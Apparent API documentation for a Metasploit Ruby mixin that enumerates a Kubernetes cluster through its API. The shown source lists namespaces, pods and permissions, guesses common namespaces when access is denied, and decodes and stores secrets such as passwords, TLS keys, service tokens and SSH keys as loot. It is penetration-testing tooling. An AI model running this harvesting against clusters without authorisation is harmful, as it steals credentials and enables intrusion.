Module: Msf::Exploit::Remote::HTTP::Kubernetes::Enumeration

Defined in:
lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb

Overview

The mixin for enumerating a Msf::Exploit::Remote::HTTP::Kubernetes API

Instance Attribute Summary collapse

Instance Method Summary collapse

Instance Attribute Details

#kubernetes_clientObject (readonly, protected)

Returns the value of attribute kubernetes_client.



103
104
105
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 103

def kubernetes_client
  @kubernetes_client
end

#outputObject (readonly, protected)

Returns the value of attribute output.



103
104
105
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 103

def output
  @output
end

Instance Method Details

#attempt_enum(resource, &block) ⇒ Object (protected)



105
106
107
108
109
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 105

def attempt_enum(resource, &block)
  block.call
rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ApiError => e
  output.print_enum_failure(resource, e)
end

#enum_allObject



15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 15

def enum_all
  token_claims = parse_jwt(api_token)
  output.print_claims(token_claims) if token_claims

  enum_version
  namespace_items = enum_namespaces
  namespaces_name = namespace_items.map { |item| item.dig(:metadata, :name) }

  # If there's no permissions to access namespaces, we can use the current token's namespace,
  # as well as trying some common namespaces
  if namespace_items.empty?
    current_token_namespace = token_claims&.dig('kubernetes.io', 'namespace')
    possible_namespaces = (datastore['NAMESPACE_LIST'].split(',') + [current_token_namespace]).uniq.compact
    namespaces_name += possible_namespaces

    output.print_error("Unable to extract namespaces. Attempting the current token's namespace and common namespaces: #{namespaces_name.join(', ')}")
  end

  # Split the information for each namespace separately
  namespaces_name.each.with_index do |namespace, index|
    print_good("Namespace #{index}: #{namespace}")

    enum_auth(namespace)
    enum_pods(namespace)
    enum_secrets(namespace)

    print_line
  end
end

#enum_auth(namespace) ⇒ Object



69
70
71
72
73
74
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 69

def enum_auth(namespace)
  attempt_enum(:auth) do
    auth = kubernetes_client.list_auth(namespace)
    output.print_auth(namespace, auth)
  end
end

#enum_namespaces(name: nil) ⇒ Object



54
55
56
57
58
59
60
61
62
63
64
65
66
67
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 54

def enum_namespaces(name: nil)
  output.print_good('Enumerating namespaces')

  namespace_items = []
  attempt_enum(:namespace) do
    if name
      namespace_items = [kubernetes_client.get_namespace(name)]
    else
      namespace_items = kubernetes_client.list_namespaces.fetch(:items, [])
    end
  end
  output.print_namespaces(namespace_items)
  namespace_items
end

#enum_pods(namespace, name: nil) ⇒ Object



76
77
78
79
80
81
82
83
84
85
86
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 76

def enum_pods(namespace, name: nil)
  attempt_enum(:pod) do
    if name
      pods = [kubernetes_client.get_pod(name, namespace)]
    else
      pods = kubernetes_client.list_pods(namespace).fetch(:items, [])
    end

    output.print_pods(namespace, pods)
  end
end

#enum_secrets(namespace, name: nil) ⇒ Object



88
89
90
91
92
93
94
95
96
97
98
99
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 88

def enum_secrets(namespace, name: nil)
  attempt_enum(:secret) do
    if name
      secrets = [kubernetes_client.get_secret(name, namespace)]
    else
      secrets = kubernetes_client.list_secrets(namespace).fetch(:items, [])
    end

    output.print_secrets(namespace, secrets)
    report_secrets(namespace, secrets)
  end
end

#enum_versionObject



45
46
47
48
49
50
51
52
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 45

def enum_version
  version = nil
  attempt_enum(:version) do
    version = kubernetes_client.get_version
    output.print_version(version)
  end
  version
end

#initialize(info = {}) ⇒ Object



5
6
7
8
9
10
11
12
13
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 5

def initialize(info = {})
  super

  register_options(
    [
      Msf::OptString.new('NAMESPACE_LIST', [false, 'The default namespace list to iterate when the current token does not have the permission to retrieve the available namespaces', 'default,dev,staging,production,kube-public,kube-node-lease,kube-lease,kube-system'])
    ]
  )
end

#parse_jwt(token) ⇒ Object (protected)



222
223
224
225
226
227
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 222

def parse_jwt(token)
  parsed_token = Msf::Exploit::Remote::HTTP::JWT.decode(token)
  parsed_token.payload
rescue ArgumentError
  nil
end

#parse_private_key(data) ⇒ Object (protected)



212
213
214
215
216
217
218
219
220
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 212

def parse_private_key(data)
  passphrase = nil
  ask_passphrase = false

  private_key = Net::SSH::KeyFactory.load_data_private_key(data, passphrase, ask_passphrase)
  private_key
rescue StandardError => _e
  nil
end

#report_secrets(namespace, secrets) ⇒ Object (protected)



111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 111

def report_secrets(namespace, secrets)
  origin = create_credential_origin_service(
    {
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      service_name: 'kubernetes',
      protocol: 'tcp',
      module_fullname: fullname,
      workspace_id: myworkspace_id
    }
  )

  secrets.each do |secret|
    credential_data = {
      origin: origin,
      origin_type: :service,
      module_fullname: fullname,
      workspace_id: myworkspace_id,
      status: Metasploit::Model::Login::Status::UNTRIED
    }

    resource_name = secret.dig(:metadata, :name)
    loot_name_prefix = [
      datastore['RHOST'],
      namespace,
      resource_name,
      secret[:type].gsub(/[a-zA-Z]/, '-').downcase
    ].join('_')

    case secret[:type]
    when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::BasicAuth
      username = Rex::Text.decode_base64(secret.dig(:data, :username))
      password = Rex::Text.decode_base64(secret.dig(:data, :password))

      credential = credential_data.merge(
        {
          username: username,
          private_type: :password,
          private_data: password
        }
      )

      print_good("basic_auth #{resource_name}: #{username}:#{password}")
      create_credential(credential)
    when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::TLSAuth
      tls_cert = Rex::Text.decode_base64(secret.dig(:data, :"tls.crt"))
      tls_key = Rex::Text.decode_base64(secret.dig(:data, :"tls.key"))
      tls_subject = begin
        OpenSSL::X509::Certificate.new(tls_cert).subject
      rescue StandardError
        nil
      end
      loot_name = loot_name_prefix + (tls_subject ? tls_subject.to_a.map { |name, data, _type| "#{name}-#{data}" }.join('-') : '')

      path = store_loot('tls.key', 'text/plain', nil, tls_key, "#{loot_name}.key")
      print_good("tls_key #{resource_name}: #{path}")

      path = store_loot('tls.cert', 'application/x-pem-file', nil, tls_cert, "#{loot_name}.crt")
      print_good("tls_cert #{resource_name}: #{path} (#{tls_subject || 'No Subject'})")
    when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::ServiceAccountToken
      data = secret[:data].clone
      # decode keys to a human readable format that might be useful for users
      %i[namespace token].each do |key|
        data[key] = Rex::Text.decode_base64(data[key])
      end
      loot_name = loot_name_prefix + '.json'
      path = store_loot('kubernetes.token', 'application/json', datastore['RHOST'], JSON.pretty_generate(data), loot_name)
      print_good("service token #{resource_name}: #{path}")
    when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::DockerConfigurationJson
      json = Rex::Text.decode_base64(secret.dig(:data, :".dockerconfigjson"))
      loot_name = loot_name_prefix + '.json'

      path = store_loot('docker.json', 'application/json', nil, json, loot_name)
      print_good("dockerconfig json #{resource_name}: #{path}")
    when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::SSHAuth
      data = Rex::Text.decode_base64(secret.dig(:data, :"ssh-privatekey"))
      loot_name = loot_name_prefix + '.key'
      private_key = parse_private_key(data)

      credential = credential_data.merge(
        {
          private_type: :ssh_key,
          public_data: private_key&.public_key,
          private_data: private_key
        }
      )
      begin
        create_credential(credential)
      rescue StandardError => _e
        vprint_error("Unable to store #{loot_name} as a valid ssh_key pair")
      end

      path = store_loot('id_rsa', 'text/plain', nil, data, loot_name)
      print_good("ssh_key #{resource_name}: #{path}")
    end
  rescue StandardError => e
    elog("Failed parsing secret #{resource_name}", error: e)
    print_error("Failed parsing secret #{resource_name}: #{e.message}")
  end
end